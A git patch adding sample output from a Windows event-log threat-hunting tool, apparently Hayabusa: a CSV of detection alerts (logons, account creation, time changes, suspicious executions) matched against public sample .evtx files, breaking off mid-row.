From 4a73a8c66c29f14ad82b37d6fc9e8a87e475de7f Mon Sep 17 00:00:00 2001 From: Tanaka Zakku <71482215+YamatoSecurity@users.noreply.github.com> Date: Wed, 22 Dec 2021 11:27:06 +0900 Subject: [PATCH] Sample results --- ...usa-sample-evtx-ResultsDefaultSettings.csv | 10073 +++++++++++ ...sa-sample-evtx-ResultsDefaultSettings.xlsx | Bin 0 -> 583620 bytes ...-ResultsDeprecatedAndNoisyRulesEnabled.csv | 14207 ++++++++++++++++ ...ResultsDeprecatedAndNoisyRulesEnabled.xlsx | Bin 0 -> 711827 bytes 4 files changed, 24280 insertions(+) create mode 100644 sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.csv create mode 100644 sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.xlsx create mode 100644 sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.csv create mode 100644 sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.xlsx diff --git a/sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.csv b/sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.csv new file mode 100644 index 00000000..0ae6f001 --- /dev/null +++ b/sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.csv @@ -0,0 +1,10073 @@ +Timestamp,Computer,EventID,Level,RuleTitle,Details,RulePath,FilePath +2013-10-24 01:16:13.843 +09:00,37L4247D28-05,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:16:29.000 +09:00,37L4247D28-05,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:17:44.109 +09:00,37L4247D28-05,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:17:44.109 +09:00,37L4247D28-05,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:09.203 +09:00,37L4247D28-05,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:33.828 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:33.828 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:50.500 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:21:30.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:39.973 +09:00,IE8Win7,4720,medium,Local user account created,User: IEUser : SID:S-1-5-21-3463664321-2923530833-3546627382-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/DeepBlueCLI/new-user-security.evtx +2013-10-24 01:22:39.973 +09:00,IE8Win7,4720,medium,Local user account created,User: IEUser : SID:S-1-5-21-3463664321-2923530833-3546627382-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:40.004 +09:00,IE8Win7,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3463664321-2923530833-3546627382-1000 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/DeepBlueCLI/new-user-security.evtx +2013-10-24 01:22:40.004 +09:00,IE8Win7,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3463664321-2923530833-3546627382-1000 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:40.005 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:40.005 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: WIN-QALA5Q3KJ43$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: WIN-QALA5Q3KJ43 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x298c5 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: WIN-QALA5Q3KJ43 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x29908 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x298c5,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:23:39.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:23:39.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:24:00.130 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:24:00.130 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:24:00.161 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:24:53.630 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:27:48.911 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:27:48.911 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:27:21.754 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x29908,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:30:47.140 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:30:47.140 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:30:52.625 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:30:58.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:32:53.796 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:32:53.796 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:10.078 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:33:18.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:35:55.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:35:55.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x57d5b : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x57d8d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x57d5b,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:45:45.037 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x57d8d,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:49:38.890 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:49:38.890 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:25.546 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:50:27.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:50:33.551 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27f43 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x27f73 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:51:17.207 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x27f43,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:53:48.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:53:48.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 03:48:37.144 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:48:37.144 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 03:49:28.191 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:02:24.316 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x27f73,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:04:09.406 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:04:09.406 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:04:28.750 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:04:55.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:04.098 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:05:59.484 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:05:59.484 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:06:18.921 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:06:25.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:07:16.729 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:10:27.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:10:27.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:19:23.812 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:19:23.812 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:19:46.750 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:19:52.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:20:01.879 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:22:39.125 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:22:39.125 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:04.093 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:23:08.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:23:18.798 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:25:30.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:25:30.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x39a20 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x39a67 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:27:14.204 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x39a20,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:34:54.649 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x39a67,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:36:30.093 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:30.093 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:39.718 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 04:36:44.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 04:36:53.245 +09:00,IE8Win7,1,high,Execution Of Other File Type Than 